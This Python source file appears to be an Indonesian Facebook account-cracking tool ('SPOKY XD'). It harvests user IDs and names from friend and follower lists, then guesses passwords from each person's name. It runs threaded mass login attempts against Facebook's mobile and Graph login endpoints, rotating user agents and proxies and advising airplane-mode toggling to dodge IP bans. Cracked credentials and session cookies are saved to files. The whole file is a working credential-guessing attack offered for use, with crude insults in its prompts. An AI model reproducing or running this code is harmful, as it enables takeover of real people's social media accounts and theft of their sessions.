- url = ses.get(link, cookies={"cookie": cookie}).text
- data = re.findall('" \/>\<div\ class\=\"..\"\>\<a\ href\=\"\/(.*?)\"\><span\>(.*?)\<\/span\>', str(url))
- for user in data:
- if "profile.php?" in user[0]:
- id.append(re.findall("id=(.*?)&eav", user[0])[0]+'|'+user[1])
- else:
- id.append(re.findall("(.*?)\?eav", user[0])[0]+'|'+user[1])
- Console().print(f"├╴➤ Sedang Mengumpulkan {str(len(id))} Id...", end='\r')
- time.sleep(000000.003)
- if "Lihat Selengkapnya" in url:
- dump_followers("https://mbasic.facebook.com"+parser(url, "html.parser").find("a", string="Lihat Selengkapnya").get("href"), cookie)
- except:pass
- #----------------------[ CRACK FILE ]----------------------#
- def file():
- try:vin = os.listdir('/sdcard/DUMP-FILE/')
- except FileNotFoundError:
- print(f'{m}╰─◕➤ File Tidak Ditemukan ')
- time.sleep(2)
- exit()
- if len(vin)==0:
- print(f'{m}╰─◕➤ Kamu Tidak Memiliki File Dump ')
- time.sleep(2)
- exit()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('/sdcard/SPOKY-DUMP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('╭────────────────────────────╮')
- print(f'{P}├╴➤ 0%s %s ({h} %s idz )'%(nom,isi,len(hem)))
- print('╰────────────────────────────╯')
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- print(f'{P}╰─◕➤ %s. %s ({h} %s idz) '%(cih,isi,len(hem)))
- dm = input(f'{P}╰─◕➤ PILIH : ')
- try:geh = lol[dm]
- except KeyError:
- print(f'{m}╰─◕➤ Pilih Yang Bener Kontol ')
- time.sleep(3)
- exit()
- try:lin = open('/sdcard/SPOKY-DUMP/'+geh,'r').read().splitlines()
- except:
- print(f'{m}╰─◕➤ File Tidak Ditemukan, Coba Lagi Nanti ')
- time.sleep(2)
- exit()
- for xid in lin:
- id.append(xid)
- setting()
- #-----------------[ CRACK MASSAL ]-----------------#
- def massal():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- try:
- jum = int(input('├╴➤ BERAPA TARGET : '))
- except ValueError:
- print('╰─◕➤ Masukkan Angka Anjing, Malah Huruff 🗿')
- exit()
- if jum<1 or jum>100:
- print('╰─◕➤ Gagal Dump Idz ')
- exit()
- ses=requests.Session()
- yz = 0
- for met in range(jum):
- yz+=1
- kl = input('├╴➤ MASUKAN IDZ YANG KE '+str(yz)+' : ')
- uid.append(kl)
- for userr in uid:
- try:
- col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
- for mi in col['friends']['data']:
- try:
- iso = (mi['id']+'|'+mi['name'])
- if iso in id:pass
- else:id.append(iso)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- print('╰─◕➤ Sinyal Loh Kek Kontoll ')
- exit()
- try:
- print('╭────────────────────────────╮')
- print(f'├╴➤ TOTAL ID YANG TERKUMPUL │ : '+str(len(id)))
- print('╰────────────────────────────╯')
- setting()
- except requests.exceptions.ConnectionError:
- print(f'{x}')
- print('╰─◕➤ Sinyal Lo kek Kontol ')
- back()
- except (KeyError,IOError):
- print(f'╰─◕➤ {k} Pertemanan Tidak Public {x}')
- time.sleep(3)
- back()
- #-------------[ PENGATURAN-IDZ ]---------------#
- def setting():
- urut = []
- urut.append(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Login Site [bold green]Mobile FB [bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Login Site [bold green]D FB [bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Login Site [bold green]Graph FB [bold white] ',width=35,title=f"[bold green] ••• METODE ••• ",style=f"bold purple"))
- urut.append(panel(f'[bold white][[bold cyan]04[/][bold white]][/] [bold white]Login Site [bold green]Not Update [bold white] [/]\n[bold white][[bold cyan]05[/][bold white]][/] [bold white]Login Site [bold green]Not Update [bold white] [/]\n[bold white][[bold cyan]06[/][bold white]][/] [bold white]Login Site [bold green]Not Update[bold white] ',width=35,title=f"[bold green] ••• METODE ••• [bold white]",style=f"bold purple"))
- console.print(Columns(urut))
- print('╭───────────────────────────╮')
- hc = input(f'├╴➤ PILIH METODE : ')
- print('╰───────────────────────────╯')
- if hc in ['1','01']:
- method.append('mobile')
- elif hc in ['2','02']:
- method.append('mbasic')
- elif hc in ['3','03']:
- method.append('free')
- else:
- method.append('mobile')
- cetak(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Crack Idz Old [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Crack Idz New [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Crack Idz Random[/]',width=35,padding=(0,1),title=f"[bold green] ••• MENU IDZ ••• ",style=f"bold purple"))
- print('╭───────────────────────────╮')
- hu = input(f'├╴➤ PILIH IDZ : ')
- print('╰───────────────────────────╯')
- if hu in ['1','01']:
- for tua in sorted(id):
- id2.append(tua)
- elif hu in ['2','02']:
- muda=[]
- for bacot in sorted(id):
- muda.append(bacot)
- bcm=len(muda)
- bcmi=(bcm-1)
- for xmud in range(bcm):
- id2.append(muda[bcmi])
- bcmi -=1
- elif hu in ['3','03']:
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- else:
- print(' [+] Pilih Yang Bener Kontooll ')
- exit()
- cetak(panel(f'[bold white]Tampilkan APK Di Dalam Akun ? Y/T',width=40,title=f"[bold green] ••• CEK APK ••• ",style=f"bold purple"))
- print('╭──────────────╮')
- _brayen_ = input('├╴➤ PILIH : ')
- print('╰──────────────╯')
- if _brayen_ in ['']:
- print('╰─◕➤ Pilih Yang Bener Kontol ')
- exit()
- elif _brayen_ in ['y','Y']:
- taplikasi.append('ya')
- else:
- taplikasi.append('no')
- cetak(panel(f'[bold white]Tampilkan Opsi Di Dalam Akun ? Y/T',width=40,title=f"[bold green] ••• CEK OPSI ••• ",style=f"bold purple"))
- print('╭──────────────╮')
- _brayen_ = input('├╴➤ PILIH : ')
- print('╰──────────────╯')
- if _brayen_ in ['']:
- print('╰─◕➤ Pilih Yang Bener Kontol ')
- exit()
- elif _brayen_ in ['y','Y']:
- gabriel.append('ya')
- else:
- gabriel.append('no')
- cetak(panel(f'[bold white]Gunakan User Agent Manual ? Y/T',width=40,title=f"[bold green] ••• USER AGENT ••• ",style=f"bold purple"))
- print('╭──────────────╮')
- uatambah = input(f'├╴➤ PILIH : ')
- print('╰──────────────╯')
- if uatambah in ['y','Ya','ya','Y']:
- ualuh.append('ya')
- bzer = input(f'╰─◕➤ Masukan User-Agent : ')
- ualu.append(bzer)
- else:
- ualuh.append('tidak')
- passwrd()
- #-------------------[ BAGIAN-WORDLIST ]------------#
- def passwrd():
- global prog,des
- print('')
- urut = []
- urut.append(panel(f' [bold green]%s [bold white]'%(okc),width=35,title=f"[bold green]OK SAVE IN",style=f"bold purple"))
- urut.append(panel(f' [bold red]%s [bold white]'%(cpc),width=35,title=f"[bold red]CP SAVE IN",style=f"bold purple"))
- wa.print(Columns(urut))
- cetak(nel(f'[bold white]ON/OFF MODE PESAWAT ✈️ SETIAP 300 IDZ,AGAR TERHINDAR DARI SPAM IP ',width=70,padding=(0,1),title=f"[bold red] ••• WARNING ••• ",style=f"bold purple"))
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(" ")[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crackmobile,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- elif 'free' in method:
- pool.submit(crackapi,idf,pwv)
- else:
- pool.submit(crackmobile,idf,pwv)
- print('')
- print(f'Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya')
- print(f' [+] OK : {H}{ok} ')
- print(f' [+] CP : {K}{cp} ')
- #--------------------[ METODE API]-----------------#
- def crackapi(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
- prog.advance(des)
- ua2 = random.choice(ugen2)
- ua = random.choice(ugen)
- ses = requests.Session()
- for pw in pwv:
- try:
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- params = {
- "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16",
- "sdk_version": {random.randint(1,26)},
- "email": idf,
- "locale": "en_US",
- "password": pw,
- "sdk": "android",
- "generate_session_cookies": "1",
- "sig": "4f648f21fb58fcd2aa1c65f35f441ef5"
- }
- headers = {
- "Host": "graph.facebook.com",
- "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)),
- "x-fb-sim-hni": str(random.randint(20000, 40000)),
- "x-fb-net-hni": str(random.randint(20000, 40000)),
- "x-fb-connection-quality": "EXCELLENT",
- "user-agent": ua,
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-http-engine": "Liger"
- }
- post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False)
- if "User must verify their account" in post.text:
- print('╭────────────────────────────╮')
- if 'no' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif 'ya' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- ceker(idf,pw)
- break
- elif "session_key" in post.text and "EAA" in post.text:
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #--------------------[ METODE MBASIC]-----------------#
- def crackmbasic(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- data = {
- 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
- 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
- 'try_number': 0,
- 'unrecognized_tries': 0,
- 'email':idf,
- 'pass':pw,
- 'login':'Masuk',
- 'prefill_contact_point': '',
- 'prefill_source': '',
- 'prefill_type': '',
- 'first_prefill_source': '',
- 'first_prefill_type': '',
- 'had_cp_prefilled': False,
- 'had_password_prefilled': False,
- 'is_smart_lock': False,
- 'bi_xrwh': 0
- }
- headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
- link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
- po = ses.post(link,data=data,headers=headers,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- print('╭────────────────────────────╮')
- if 'no' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif 'ya' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- ceker(idf,pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #--------------------[ METODE MOBILE ]-----------------#
- def crackmobile(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
